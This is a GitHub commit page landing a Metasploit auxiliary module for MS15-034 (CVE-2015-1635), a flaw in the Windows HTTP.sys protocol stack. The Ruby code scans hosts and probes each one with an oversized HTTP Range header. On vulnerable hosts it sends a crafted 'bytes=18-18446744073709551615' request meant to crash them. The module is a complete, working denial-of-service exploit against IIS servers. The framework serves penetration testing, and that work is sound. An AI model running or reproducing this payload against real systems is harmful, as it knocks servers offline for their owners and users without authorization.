Skip to content

Commit 3ca7d6a

Browse files
committed
Land rapid7#5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
* `check` to test, `run` to DoS
2 parents 3633be1 + 76d36a4 commit 3ca7d6a

File tree

1 file changed

+112
-0
lines changed

1 file changed

+112
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
# Watch out, dos all the things
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Dos
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
18+
'Description' => %q{
19+
This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
20+
vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
21+
execution. This module will try to cause a denail-of-service.
22+
23+
Please note that you must supply a valid file resource for the TARGETURI option.
24+
By default, IIS may come with these settings that you could try: iisstart.htm,
25+
welcome.png, iis-85.png, etc.
26+
},
27+
'Author' =>
28+
[
29+
# Bill did all the work (see the pastebin code), twitter: @hectorh56193716
30+
'Bill Finlayson',
31+
# MSF. But really, these people made it happen:
32+
# https://github.com/rapid7/metasploit-framework/pull/5150
33+
'sinn3r'
34+
],
35+
'References' =>
36+
[
37+
['CVE', '2015-1635'],
38+
['MSB', 'MS15-034'],
39+
['URL', 'http://pastebin.com/ypURDPc4'],
40+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150']
41+
],
42+
'License' => MSF_LICENSE
43+
))
44+
45+
register_options(
46+
[
47+
OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png'])
48+
], self.class)
49+
50+
deregister_options('RHOST')
51+
end
52+
53+
def run_host(ip)
54+
if check_host(ip) == Exploit::CheckCode::Vulnerable
55+
dos_host(ip)
56+
else
57+
print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.")
58+
end
59+
end
60+
61+
def dos_host(ip)
62+
# In here we have to use Rex because if we dos it, it causes our module to hang too
63+
uri = normalize_uri(target_uri.path)
64+
begin
65+
cli = Rex::Proto::Http::Client.new(ip)
66+
cli.connect
67+
req = cli.request_raw({
68+
'uri' => uri,
69+
'method' => 'GET',
70+
'headers' => {
71+
'Range' => 'bytes=18-18446744073709551615'
72+
}
73+
})
74+
cli.send_request(req)
75+
rescue ::Errno::EPIPE, ::Timeout::Error
76+
# Same exceptions the HttpClient mixin catches
77+
end
78+
print_status("#{ip}:#{rport} - DOS request sent")
79+
end
80+
81+
def check_host(ip)
82+
uri = normalize_uri(target_uri.path)
83+
84+
res = send_request_raw({'uri'=>uri})
85+
86+
unless res
87+
vprint_error("#{ip}:#{rport} - Connection timed out")
88+
return Exploit::CheckCode::Unknown
89+
end
90+
91+
if res.code == 404
92+
vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.")
93+
return Exploit::CheckCode::Unknown
94+
end
95+
96+
res = send_request_raw({
97+
'uri' => uri,
98+
'method' => 'GET',
99+
'headers' => {
100+
'Range' => 'bytes=0-18446744073709551615'
101+
}
102+
})
103+
if res && res.body.include?('Requested Range Not Satisfiable')
104+
return Exploit::CheckCode::Vulnerable
105+
elsif res && res.body.include?('The request has an invalid header name')
106+
return Exploit::CheckCode::Safe
107+
else
108+
return Exploit::CheckCode::Unknown
109+
end
110+
end
111+
112+
end

0 commit comments

Comments
 (0)